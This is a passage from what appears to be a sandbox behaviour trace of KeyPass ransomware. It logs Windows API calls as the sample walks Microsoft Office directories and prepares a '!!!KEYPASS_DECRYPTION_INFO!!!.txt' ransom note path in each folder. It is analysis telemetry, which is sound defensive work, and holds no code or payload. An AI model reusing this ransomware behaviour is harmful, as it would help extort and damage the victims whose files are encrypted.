pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\PCHEALTH\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.057] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\PCHEALTH\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.057] GetFileType (hFile=0xf84) returned 0x1 [0271.058] CloseHandle (hObject=0xf84) returned 1 [0271.058] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0271.058] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.058] GetLastError () returned 0x3f0 [0271.058] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\PCHEALTH\\ERRORREP\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\PCHEALTH\\ERRORREP\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.058] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\PCHEALTH\\ERRORREP\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.059] GetFileType (hFile=0xf88) returned 0x1 [0271.060] CloseHandle (hObject=0xf88) returned 1 [0271.060] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0271.060] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.060] GetLastError () returned 0x3f0 [0271.060] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\PCHEALTH\\ERRORREP\\QHEADLES\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\PCHEALTH\\ERRORREP\\QHEADLES\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.060] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\PCHEALTH\\ERRORREP\\QHEADLES\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.061] GetFileType (hFile=0xf8c) returned 0x1 [0271.061] CloseHandle (hObject=0xf8c) returned 1 [0271.062] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0271.062] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.062] GetLastError () returned 0x3f0 [0271.062] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\PCHEALTH\\ERRORREP\\QSIGNOFF\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\PCHEALTH\\ERRORREP\\QSIGNOFF\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.062] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\PCHEALTH\\ERRORREP\\QSIGNOFF\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.062] GetFileType (hFile=0xf90) returned 0x1 [0271.063] CloseHandle (hObject=0xf90) returned 1 [0271.063] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0271.063] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.063] GetLastError () returned 0x3f0 [0271.063] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\SHELLNEW\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\SHELLNEW\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.063] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\SHELLNEW\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.093] GetFileType (hFile=0xf94) returned 0x1 [0271.095] CloseHandle (hObject=0xf94) returned 1 [0271.095] PeekMessageW (in: lpMsg=0x2e4f078, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f078) returned 0 [0271.095] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcffff8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.095] GetLastError () returned 0x3f0 [0271.095] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.095] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.096] GetFileType (hFile=0xf9c) returned 0x1 [0271.097] CloseHandle (hObject=0xf9c) returned 1 [0271.097] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0271.097] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x2f4e528 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.097] GetLastError () returned 0x3f0 [0271.097] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Apply\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Apply\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.097] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Apply\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.098] GetFileType (hFile=0xfa0) returned 0x1 [0271.099] CloseHandle (hObject=0xfa0) returned 1 [0271.099] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0271.099] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.099] GetLastError () returned 0x3f0 [0271.099] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Apply\\FilesInUse\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Apply\\FilesInUse\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.099] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Apply\\FilesInUse\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.280] GetFileType (hFile=0xf98) returned 0x1 [0271.282] CloseHandle (hObject=0xf98) returned 1 [0271.282] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0271.282] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.282] GetLastError () returned 0x3f0 [0271.282] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Apply\\FilesInUse\\6EED28D1-CF58-4796-8953-FAA74D60E25C\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Apply\\FilesInUse\\6EED28D1-CF58-4796-8953-FAA74D60E25C\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.282] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Apply\\FilesInUse\\6EED28D1-CF58-4796-8953-FAA74D60E25C\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.283] GetFileType (hFile=0xfa4) returned 0x1 [0271.283] CloseHandle (hObject=0xfa4) returned 1 [0271.284] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0271.284] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.284] GetLastError () returned 0x3f0 [0271.284] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Apply\\FilesInUse\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Apply\\FilesInUse\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.284] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Apply\\FilesInUse\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.284] GetFileType (hFile=0xfa8) returned 0x1 [0271.285] CloseHandle (hObject=0xfa8) returned 1 [0271.285] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0271.285] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x2f4e528 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.285] GetLastError () returned 0x3f0 [0271.285] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Detection\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Detection\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.285] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Detection\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.286] GetFileType (hFile=0xfac) returned 0x1 [0271.287] CloseHandle (hObject=0xfac) returned 1 [0271.287] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0271.287] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.287] GetLastError () returned 0x3f0 [0271.287] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Detection\\Version\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Detection\\Version\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.287] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Detection\\Version\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.610] GetFileType (hFile=0xfb0) returned 0x1 [0271.611] CloseHandle (hObject=0xfb0) returned 1 [0271.611] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0271.611] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x2f4e528 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.611] GetLastError () returned 0x3f0 [0271.611] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.611] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.611] GetFileType (hFile=0xfb4) returned 0x1 [0271.613] CloseHandle (hObject=0xfb4) returned 1 [0271.613] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0271.613] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.613] GetLastError () returned 0x3f0 [0271.613] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.613] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.614] GetFileType (hFile=0xfb8) returned 0x1 [0271.614] CloseHandle (hObject=0xfb8) returned 1 [0271.615] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0271.615] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.615] GetLastError () returned 0x3f0 [0271.615] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.615] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.627] GetFileType (hFile=0xfc0) returned 0x1 [0271.628] CloseHandle (hObject=0xfc0) returned 1 [0271.628] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0271.628] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.628] GetLastError () returned 0x3f0 [0271.628] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.628] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.637] GetFileType (hFile=0xfc4) returned 0x1 [0271.638] CloseHandle (hObject=0xfc4) returned 1 [0271.638] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0271.638] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.638] GetLastError () returned 0x3f0 [0271.638] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.638] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.639] GetFileType (hFile=0xfc8) returned 0x1 [0271.640] CloseHandle (hObject=0xfc8) returned 1 [0271.640] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0271.640] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39a3018 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.640] GetLastError () returned 0x3f0 [0271.640] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.640] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.641] GetFileType (hFile=0xfcc) returned 0x1 [0271.641] CloseHandle (hObject=0xfcc) returned 1 [0271.642] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0271.642] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39a3838 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.642] GetLastError () returned 0x3f0 [0271.642] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.642] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.666] GetFileType (hFile=0xfd0) returned 0x1 [0271.667] CloseHandle (hObject=0xfd0) returned 1 [0271.667] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0271.667] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39a4058 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.667] GetLastError () returned 0x3f0 [0271.668] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\1033\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.668] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.670] GetFileType (hFile=0xfd4) returned 0x1 [0271.670] CloseHandle (hObject=0xfd4) returned 1 [0271.671] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0271.671] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3a6d048 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.671] GetLastError () returned 0x3f0 [0271.671] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\1033\\msotelemetryintl.dll\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\1033\\msotelemetryintl.dll\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.671] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\1033\\msotelemetryintl.dll\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.671] GetFileType (hFile=0xfd8) returned 0x1 [0271.672] CloseHandle (hObject=0xfd8) returned 1 [0271.673] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0271.673] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39a4058 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.673] GetLastError () returned 0x3f0 [0271.673] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.673] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.684] GetFileType (hFile=0xfbc) returned 0x1 [0271.684] CloseHandle (hObject=0xfbc) returned 1 [0271.685] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0271.685] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3a6d048 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.685] GetLastError () returned 0x3f0 [0271.685] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.685] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.686] GetFileType (hFile=0xfdc) returned 0x1 [0271.686] CloseHandle (hObject=0xfdc) returned 1 [0271.687] PeekMessageW (in: lpMsg=0x2e4cf58, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4cf58) returned 0 [0271.687] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3a6d868 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.687] GetLastError () returned 0x3f0 [0271.687] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0271.687] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0271.687] GetFileType (hFile=0xfe0) returned 0x1 [0271.688] CloseHandle (hObject=0xfe0) returned 1 [0271.688] PeekMessageW (in: lpMsg=0x2e4cc08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4cc08) returned 0 [0271.688] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3a6e348 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0271.688] GetLastError () returned 0x3f0 [0271.689] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Document.XmlSerializers.dll\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\Data\\Delta\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel 